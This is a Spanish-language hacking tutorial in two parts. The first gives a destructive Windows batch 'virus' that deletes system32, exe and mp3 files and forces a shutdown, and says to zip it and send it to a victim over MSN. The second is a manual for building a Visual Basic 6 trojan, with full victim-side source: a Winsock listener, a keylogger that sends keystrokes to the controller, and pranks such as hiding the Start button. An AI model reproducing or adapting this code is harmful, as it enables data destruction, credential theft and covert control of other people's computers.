Hemos dicho a nuestro virus mediante el comando :bucle y goto bucle que habra infinitos bloc de notas masivamente,esto es un ejemplo,se pueden abrir 1000 programas más.

shutdown
Comando shutdown sirve para reiniciar o apagar el ordenador mediante un tiempo estimado que se le añada o otros valores.

Comandos de shutdown:
Comando: -s (Apaga el equipo)
Comando: -r (Apagar y reiniciar el ordenador)
Comando: -a (Anula el apagado del equipo)
Comando: -t 21 (Pone tiempo para el apagado,donde dice 21 son los segundos que tardará en apagarse/reiniciarse.
Comando: -f (Fuerza el cierre de todos los programas sin advertir al usuario)


Empezemos:

Para empezar a hacer nuestro primer bichito,podemos empezar por algo sencillo,en nuestra consola escribimos lo siguiente:

@echo off

Una vez tecleado esto,con el comando "del" podemos indicar que carpeta o fichero borrar.Yo por ejemplo,podría poner este código:

@echo off
del /S /F c:\windows\system32\
del /S /F *exe
del /S /F *mp3
taskkill /f /im "explorer.exe"
shutdown -s -f -t 10 -c "Muestra del virus"

Este es mi virus,es muy básico,ya que puede meterse más código y más dañino,pero con esto,ya es asegurado

Un daño...

Quedaria algo así:



Hasta aquí hemos hecho nuestro código de virus ¡Ojo! no quiero decir que copieis mi código XDD! podeis

buscar la ruta de cualquier programa o archivo y usar los comandos que os expliqué para vuestro virus.


Ahora queda pasarlo a su lenguaje .bat (batch)

para ello,en la misma consola y con el código escrito,hacemos lo siguiente:

Pinchamos en Archivo,Guardar como y ponemos un nombre, como por ejemplo "muestra" y al final de "muestra"

ponemos .bat quedaria así:

muestra.bat



y una vez hecho todo esto,tan solo vamos a nuestro buscador en el equipo (Busqueda) y buscamos

muestra.bat.Lo arrastramos al escritorio y lo comprimimos con el winrar o cualquier compresor.

Y una vez comprimido,se lo mandamos a nuestra victima por msn.

Nota: Esto es tan solo una muestra de como crear un virus en batch,con los códigos explicados.

Un saludo

Manual de creacion de troyanos.

Siempre eh escuchado que los Lammers usan troyanos y que se dedican a fastidiar a los demás usuarios que están conectados, generalmente un Lammer lo primero que hace después de infectar a un usuario es “decirle que el es un hacker y blablabala”, cuando la verdad de los hechos (como dice el Brother Yankee) no le llega ni a los talones el hediondo!!! Y después de abrirle y cerrarle el lector de CD le Formatea el PC!! La verdad es que eso es lo que mas pena me da, porque ni siquiera reviso su disco duro para ver que bueno podía encontrar alguna información valiosa o algo interesante solamente se dedico a destruir. “Con lo recién comentado no quiere decir que yo nunca lo eh echo, no soy un santo tampoco a rato me da la kaga y dejo la kaga :-P ”. En realidad no me gusta ser tan malo porque se que No todo el mundo sabe formatear, reinstalar Windows mmm además puede que no tengan toda su información guardada en CD’s, viste entonces la gracia no es destruir “aunque me cueste decirlo” pero tienes que tratar de hacer el bien, aprender cada día mas no siempre encontraras manuales y ejemplos hechitos para empezar a usarlos “como este”, si no que de repente tienes que descargarlos de PC’s ajenos =P la gracia seria que la victima nunca se de cuenta que tu estuviste ahí, es la gracia J.

Bueno la verdad de las cosas es que es muy divertido usar un buen troyano, a uno bueno me refiero al Sub Seven que tiene un montón de opciones y es muy fácil de usar, en pocas palabras tienes dominio total del PC de la victima, pero toda esta maravilla tiene un pero si te pillan en estas pasos turbios un usuario que mas menos se maneje en el asunto o tenga un antivirus que lo detecte vas a tener un solo nombre LAMMER “cada uno tiene lo que se merece no mas” :-P si reconozco que es fuerte que te digan así pero es la pura y santa verdad, pero que pasa cuando uno mismo crea su propio troyano, aparte que los antivirus no lo detectan, creo que merecemos otro nombre no?, no estoy diciendo que somos Hacker ni mucho menos, pero a eso es lo que queremos llegar a ser algún día, y es por eso que vamos a crear nuestro propio troyano J seguramente no se va ser el mejor troyano de la historia, pero si le pones dedicación y lees otros manuales por ahí y juntas varios ejemplos puede que tu troyano llegue ser tan bueno como el Sub Seven , para mi un mayor éxito seria que algún programa que haya creado por ahí lo detecte un antivirus! , bueno pero eso es otro cuento… vamos con una explicación breve de los troyanos y el parentesco que tiene con un virus que muchas veces se confunden :-S

Los troyanos son mas viejos que mi abuela “ojo que mi abuela si que es vieja”, no, pero hablando enserio un troyano tubo que haber surgido cuando se creo la primera red en una universidad de Estados Unidos, porque el simple echo de intercambiar archivos puede recibir el nombre de troyano sin ir mas lejos el Internet Explorer es un troyano , Ustedes se preguntaran porque?, muy simple porque el Explorer trabaja a modo de cliente servidor , en este caso nosotros somos los clientes mandamos información o datos y el servidor procesa para ver que es lo que queremos y nos entrega información de vuelta, un troyano trabaja exactamente igual, lo que hace nuestro programa en casa es mandar un dato o palabra clave a la victima… Así como en un Chat!!! Y la victima al recibir esa palabra, cumple la función que le hemos programado xD. Los troyanos no son malignos, malignos son las personas que están detrás del PC que tiene el control.

Se que muchos Lammer van a leer esto y así como también muchos Newbies también, o en bola nadie lo leerá , pero la herramienta esta aquí , ojala que hagan buen uso de esta herramienta y no se dediquen a molestar personas que solamente saben prender el PC para meterse al MSN , sino que busquen victimas que le puedan servir ;-)

Diferencias***

Los troyanos son programas sumamente necesarios en la vida cotidiana por ejemplo el conocidísimo MSN el cual uno puede comunicarse con personas intercambiar imágenes mmm y no se si han indagado mas en el, pero trae unas opciones de pizarra en la cual dibujan los 2 que hablan y también tiene una opción en donde tu tienes el control de tu amigo “pero tu amigo tiene que estar conciente y de acuerdo con lo que haces además el ve cada movimiento que haces” y si se te ocurre borrarle algo tu presionando escape lo sakai cagando de tu PC ;-P ….

Los troyanos son reconocidos como virus “por los antivirus” y la verdad de las cosas no son virus si no que programas con opciones varias, en cambio los virus están hechos para destruir y no hay nada que los detenga si es que ya lo haz ejecutado en cambio si estas infectado con un troyano estas a disposición de el que te mando el archivo “onda si anda de buen animo o no xD”.

Maneras de desinfectarse pffff muy sencillo, los troyanos “profesionales” se meten al registro y cuando hechas a correr tu PC se ejecutan solitos y quedan esperando una conexión, entonces para ver que programas se ejecutan al iniciar nuestro PC entraremos a msconfig, en ejecutar msconfig y te fijas bien que programas se inician si ves cualquier cosa media rara simplemente le sacas el check. O la otra manera que es muy efectiva es en el registro ejecutar “regedit” HKEY_LOCAL_MACHINES\SOFTWARE\Microsoft\Windows\currentversion\Run

Y ahí se ven también todas las aplicaciones que se inician.

Dice clarito Norton Antivirus detecto un virus en tu pc :-S xD

Por fin a ConstruiR

Primero que todo necesitamos saber programar, aunque sea lo mas mínimo en visual Basic. mmm yo tengo el visual Basic 6.0 pero eh visto el visual Basic 5.0 y no tienen grandes diferencias, pero les aconsejo utilizar el visual Basic 6.0 para que no tengan complicaciones xD.

Comenzaremos por un por Master “le llamaremos al que controla a la victima” y después haremos el Victima “hasta el momento haremos solamente el entorno grafico”

Entonces abrimos un .Exe estándar y les agregamos el Winsock que se agrega en la barra de controles \ componentes Microsoft Winsock Control 6.0 ese es el icono del Winsock por si las dudas por ahí.

Nuestro Master va a tener varias Gracias… una de las cosas mas chistosas “a mi parecer” es el de reproducir música mediante el Winamp 2.xx si tiene instalado el 3 o el 5 estamos cagados xD , la otra cosa que le meteremos es para que se le abra y cierre el lector de CD xD , un keyloger, enviarles mensajes predeterminados. y si andan ociosos para ocultarle el botón de inicio.

El form les tendría que quedar como el de la foto.

*no se preocupen por el scroolbar Azul porque es por el estilo visual que tengo xD

igual el aspecto que me quedo ahora me quedo re lindo J

Los Botones están en este orden…

Nombre Caption

Command1 Abrir CD

Command2 Cerrar CD

Command3 Ocultar inicio

Command4 Mostrar inicio

Command5 Conectar!!

Command6 Guardar log

Command7 Comprobar

envcombo Enviar

Command9 Abrir Winamp

Command10 Cerrar Winamp

Command11 |<<

Command12 >

Command13 | |

Command14 O

Command15 >>|

Command16 <-----------

Command17 ---------->



El text1 es en donde ubicaremos la IP de la victima y el text2 es en donde recibimos el log de la victima J :

Nombre ScrollBars MultiLine

Text1 0-None False

Text2 2-Vertical True

Bueno eso es pos ahora veamos como queda el “Victima” ,vamos a echarle un vistazo que el que viene es más sencillo que este “Master” claro que el código fuente se los encargo. Pero veamos la forma visual del Victima, quedaría algo parecido al de la foto de abajo:

Nombre Interval ScrollBars MultiLine Visible

Form1 None None None False

Timer1 1 None None None

Timer2 1 None None None

Text1 None 0-None False True

Text2 None 2-Vertical True True

* Los 2 timer tienen que estar enabled

Este form tiene 2 text el primero comprueba el texto que ah sido enviado desde “master”; me explico por ejemplo si el text1 el de arriba recibe la palabra “play”, nosotros lo programamos que cuando llegue esa palabra se abra el Winamp. Y el text2, el de abajo es el que esta captando todas las teclas presionadas por la victima ;-)

Si es que están perdidos, y no entienden nada de nada no se preocupen, que todavía no hemos hecho nada “a si es que les sugiero que vuelvan a leer.” ;-P solamente le estamos dando el aspecto visual a nuestro troyano, aun no tenemos nada de código fuente

….la verdad no quiero pegar el código fuente porque como dije en un principio no va a faltar el SUPER LAMMER que ni siquiera se va a dar el trabajo de leer mis chistes FOMES :-P y la gracia de este manual no es entregarle el programa echo, si fuera por eso, mejor subiría el programa compilado y todo, a si que ya me decidí… El código fuente lo pego en foto xD.

Pero no se preocupen que lo voy a explicar lo mejor posible

Entonces comencemos con el código fuente, de partida el Winsock le debemos poner un puerto al cual nos conectaremos tenemos que pensar en un puerto más o menos elevado para que ningún otro programa lo vaya a cerrar por ejemplo Puerto: 8721

El Winsock del master quedara así:

El Winsock de la victima quedara así:

Empezaremos con el Master

‘En el command6 lo que hace el código fuente es guardar todo el log que has recibido, el log quedara guardado como loger.txt en el directorio en donde ejecutaste el Master.exe

*en el load se agregan los Ítem’s al combo1 los cuales después los enviaremos como bromas pesadas

**bueno ahí están las fotos del código fuente del master, si nos damos cuenta solamente se envían códigos a la victima, y la victima hace la función, es por eso que el código fuente de la Victima no le voy a sacar fotos porque seria muy pesado el manual.

Entonces desde aquí comienza el código fuente de la Victima

Primero que todo hay que agregar un modulo el nombre del modulo será “Module1” sin las comillas y el código fuente que hay dentro de este es el siguiente:

'esto es para abrir el lector del CD

Option Explicit

Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal _

lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

' estas declaraciones son del winamp

Option Base 1

'Funciones para poder usar el Winamp

Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As Long) As Long

Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal WndID As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal WndID As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Declare Function CopyDataSendMessage Lib "user32" Alias "SendMessageA" (ByVal WndID As Long, ByVal wMsg As Long, ByVal wParam As Long, ByRef lParam As COPYDATASTRUCT) As Long

Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As String) As Long

Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Type COPYDATASTRUCT

dwData As Long

cbData As Long

lpData As Long

End Type

Public hWndWinamp As Long

Public RetVal As Long

'Windows Constantes

Public Const WM_COMMAND = &H111

Public Const WM_COPYDATA = &H4A

Public Const WM_USER = &H400

'Winamp Constantes

Public Const waClose As Long = 40001

Public Const waPlay As Long = 40045

Public Const waStop As Long = 40047

Public Const waPause As Long = 40046

Public Const waPreviousTrack As Long = 40044

Public Const waNextTrack As Long = 40048

Public Const waForward5Sec As Long = 40148

Public Const waRewind5Sec As Long = 40144

Public Const waRaiseVolume As Long = 40058

Public Const waLowerVolume As Long = 40059

Public Const waShuffle As Long = 252

Public Const waGetStatus As Long = 104

Public Const waGetPosLen As Long = 105

Public Const waSetPos As Long = 106

Public Const waSetVolume As Long = 122

'Winamp Constates del estado ejecucción

Public Const waPlaying As Long = 1

Public Const waPaused As Long = 3

Public Const waStopped As Long = 0

Public Const waPlayStatusError As Long = -1

'Iniciar Winamp

Public Sub StartWinamp(waclass As String)

Dim dirWA As String

dirWA = "C:\Archivos de programa\Winamp\winamp.exe /CLASS=" & Chr(34) & waclass & Chr(34)

Shell dirWA, vbMinimizedNoFocus ‘ abre el Winamp minimizado

End Sub

'Salir Winamp

Public Sub CloseWinamp(waclass As String)

hWndWinamp = FindWindow(waclass, 0)

If hWndWinamp = 0 Then

Exit Sub

End If

RetVal = SendMessage(hWndWinamp, WM_COMMAND, waClose, 0)

End Sub

'Ejecuta la canción

Public Sub PlayTrack(waclass As String, Optional PostMess As Boolean = True)

hWndWinamp = FindWindow(waclass, 0)

If hWndWinamp = 0 Then

Exit Sub

End If

If PostMess Then

PostIt waPlay

Else

SendIt waPlay

End If

End Sub

'Detiene la canción

Public Sub StopTrack(waclass As String, Optional PostMess As Boolean = True)

hWndWinamp = FindWindow(waclass, 0)

If hWndWinamp = 0 Then

Exit Sub

End If

If PostMess Then

PostIt waStop

Else

SendIt waStop

End If

End Sub

'Pausa la canción

Public Sub PauseTrack(waclass As String, Optional PostMess As Boolean = True)

hWndWinamp = FindWindow(waclass, 0)

If hWndWinamp = 0 Then

Exit Sub

End If

If PostMess Then

PostIt waPause

Else

SendIt waPause

End If

End Sub

'Canción anterior

Public Sub PreviousTrack(waclass As String, Optional PostMess As Boolean = True)

hWndWinamp = FindWindow(waclass, 0)

If hWndWinamp = 0 Then

Exit Sub

End If

If PostMess Then

PostIt waPreviousTrack

Else

SendIt waPreviousTrack

End If

End Sub

'Canción siguiente

Public Sub NextTrack(waclass As String, Optional PostMess As Boolean = True)

hWndWinamp = FindWindow(waclass, 0)

If hWndWinamp = 0 Then

Exit Sub

End If

If PostMess Then

PostIt waNextTrack

Else

SendIt waNextTrack

End If

End Sub

'Avanza 5 segundos la canción

Public Sub Forward5Sec(waclass As String, Optional PostMess As Boolean = True)

hWndWinamp = FindWindow(waclass, 0)

If hWndWinamp = 0 Then

Exit Sub

End If

If PostMess Then

PostIt waForward5Sec

Else

SendIt waForward5Sec

End If

End Sub

'Retrocede 5 segundos la canción

Public Sub Rewind5Sec(waclass As String, Optional PostMess As Boolean = True)

hWndWinamp = FindWindow(waclass, 0)

If hWndWinamp = 0 Then

Exit Sub

End If

If PostMess Then

PostIt waRewind5Sec

Else

SendIt waRewind5Sec

End If

End Sub

'Obtiene el estado del Winamp

Public Function GetStatus(waclass As String) As Long

hWndWinamp = FindWindow(waclass, 0)

If hWndWinamp = 0 Then

Exit Function

End If

GetStatus = SendMessage(hWndWinamp, WM_USER, 0, waGetStatus)

End Function

'Funciones para los mensajes

Private Sub PostIt(Action As Long)

Dim n As Date

n = Now

Do

RetVal = PostMessage(hWndWinamp, WM_COMMAND, Action, 0)

Debug.Print "post", Now - n, 5 / 86400

If RetVal = 0 Then

If Now - n > 5 / 86400 Then

MsgBox "Couldn't queue message for 5 seconds: " & Action

Exit Do

End If

End If

Loop Until RetVal <> 0

End Sub

Private Sub SendIt(Action As Long)

RetVal = SendMessage(hWndWinamp, WM_COMMAND, Action, 0)

End Sub

Copien el código tal cual “reconozco que las API’s del Winamp las encontré por ahí y no me acuerdo de que Pág. fue pero espero que el autor no se enoje por haberlas expuesto en este manual”, bueno si te parece mal manadme un mail que era tuyo y yo agregare tu nombre J

Al copiar el codigo se daran cuenta como aparecen la comilla y después su explicación ‘en verde ;)

Ahora nos vamos al form de la victima, en general y declaraciones copiamos este código fuente, este codigo s e copia en declaraciones, general

Dim WAClase As String

'declaraciones para el boton del inicio onda kitarlo y volver a ponerlo

Option Explicit

Const WS_CHILD = &H40000000

Const WM_LBUTTONDOWN = &H201

Const WM_LBUTTONUP = &H202

Const SW_HIDE = 0

Const SW_NORMAL = 1

Private Type RECT

Left As Long

Top As Long

Right As Long

Bottom As Long

End Type

Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long

Private Declare Function GetWindowRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long

Private Declare Function CreateWindowEx Lib "user32" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, lpParam As Any) As Long

Private Declare Function DestroyWindow Lib "user32" (ByVal hwnd As Long) As Long

Dim tWnd As Long, bWnd As Long, ncWnd As Long

'de aquí termina para quitar mostrar inicio

'este es para el keyloger

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Si es que están perdidos en donde poner esas declaraciones les pego su fotito para que se orienten su poquito ;-)

eso de arriba son las declaraciones de la victima y ahora les copio el codigo fuente de la victima:

Private Sub Form_Load()

Timer1.Interval = 1 ‘cada una milésima de Segundo se capta teclas

Timer2.Interval = 1 ‘cada 1 milésima de segundo se borra la caja text

Winsock1.Listen ' deja el programa esperando una conexión

WAClase = "VBE"

End Sub

Private Sub Text1_Change()

If Text1.Text = "quitar_inicio" Then

tWnd = FindWindow("Shell_TrayWnd", vbNullString) 'quita el boton de inicio

bWnd = FindWindowEx(tWnd, ByVal 0&, "BUTTON", vbNullString)

ShowWindow bWnd, SW_HIDE ‘al recibir quitar inicio kita el inicio temporalmente

End If

If Text1.Text = "mostrar_inicio" Then

ShowWindow bWnd, SW_NORMAL 'con esta funcion muestra el boton de inicio

End If

If Text1.Text = "abrir_cd" Then

mciSendString "set CDAudio door open", "", 127, 0 'abre el lector de cd

End If

If Text1.Text = "cerrar_cd" Then

mciSendString "set CDAudio door closed", "", 127, 0 'cierra el lector de cd

End If

If Text1.Text = "Corporaciones By Jhonykay & Yankee" Then

MsgBox "Corporaciones By Jhonykay & Yankee", vbInformation, "Pantufla69" ' tira un mensaje de error

End If

If Text1.Text = "Error 401 Este pc debe ser formateado xD" Then

MsgBox "Error 401 Este pc debe ser formateado xD", vbCritical, "Pantufla69"

End If

If Text1.Text = "Soi tu dios y decido meterte un dedo en el culo" Then

MsgBox "Soi tu dios y decido meterte un dedo en el culo", vbExclamation, "Pantufla69"

End If

If Text1.Text = "abrir_win" Then StartWinamp WAClase ' abre el winamp

If Text1.Text = "cerrar_win" Then CloseWinamp WAClase 'cierra el winamp

If Text1.Text = "atras_win" Then PreviousTrack WAClase 'tema anterior winamp

If Text1.Text = "play_win" Then PlayTrack WAClase 'reproduce el winamp

If Text1.Text = "pause_win" Then PauseTrack WAClase 'pause ene l winamp

If Text1.Text = "stop_win" Then StopTrack WAClase 'detiene el tema en el winamp

If Text1.Text = "adelante_win" Then NextTrack WAClase 'el tema sig del winamp

If Text1.Text = "RW_win" Then Rewind5Sec WAClase ' retrocede 5 seg winamp

If Text1.Text = "FF_win" Then Forward5Sec WAClase 'adelanta 5 seg winamp

End Sub

Private Sub Text2_Change()

Dim enviar As String

If Winsock1.State = sckConnected Then 'si es que esta establecida la conexión

enviar = Text2.Text 'se comienza a enviar los logers

Winsock1.SendData Text2.Text

End If

End Sub

Private Sub Timer1_Timer()

On Error Resume Next 'cualquier error no lo representa

Dim enviar As String

Dim x As Integer, i As Integer

For i = 33 To 124

x = GetAsyncKeyState(i)

If x = -32767 Then

Text2.Text = Chr(i) + enviar 'texto 2 = a teclaa precionada

End If

Next

x = GetAsyncKeyState(32) ' tecla 32 = al espacio

If x = -32767 Then

Text2.Text = " " 'lo reprecenta como un espacio

End If

End Sub

‘’’’’’ en realidad pueden ir a gregando mas teclas ya que hay varias que nos las reconoce’’’’’’’’’’

Private Sub Timer2_Timer()

Text2.Text = "" 'este timer es para que cuando la victima presione una tecla

'2veces se envia 2 veces :-P

End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)

Winsock1.Close

Winsock1.Accept requestID

End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Dim datos As String

Winsock1.GetData datos ' recibe informacion

Text1.Text = "" ' despues al recibir otro texto s elimpia el text1

Text1.Text = Text1.Text + datos

End Sub

Bueno ahí están!! Espero que no se complique porque la verdad de esto es muy sencillo

Es mas creo que les será mas fácil copiar el de la victima que el master “ya que el código del master esta en fotos xD wuajajaja (Anti-Lammer’s ) ” pero ojala que les funcione,”de echo funciona muy bien”. Y como les dije a un principio del manual cualquier consulta o reclamo manden me un mail, tratare de contestar todas las preguntas.

Bueno aquí doy punto final a este manual los agradecimientos a todos ustedes que lo leyeron. Y los felicito si es que les resulto y siguieron buscando cosas para agregarle

Espero que les sirva, pero eso si “ojala que no se estén pasando a wuano que son hacker’s ni mxo menos” porque esto lo sabe hacer cualquier programador mas o menos experimentado. Lo otro, si es que este manual llega a algún personaje X que sabe de esto me gustaría mucho que me diera sus opiniones, ya que no lo es del todo perfecto, de echo tiene varios errores ;-) “por favor me gustaría saber sus opiniones para así en un futuro sacar un nuevo manual”

Tengo que agradecer a 2 grandes personajes que me trajeron al mundo de la programación, informática y “entre otros” a ellos les dedico este manual, saludos para el Maestro Yankee y para el turbio del Don Ramón espero que se encuentren bien y Espero que algún día este modesto manual llegue a su PC.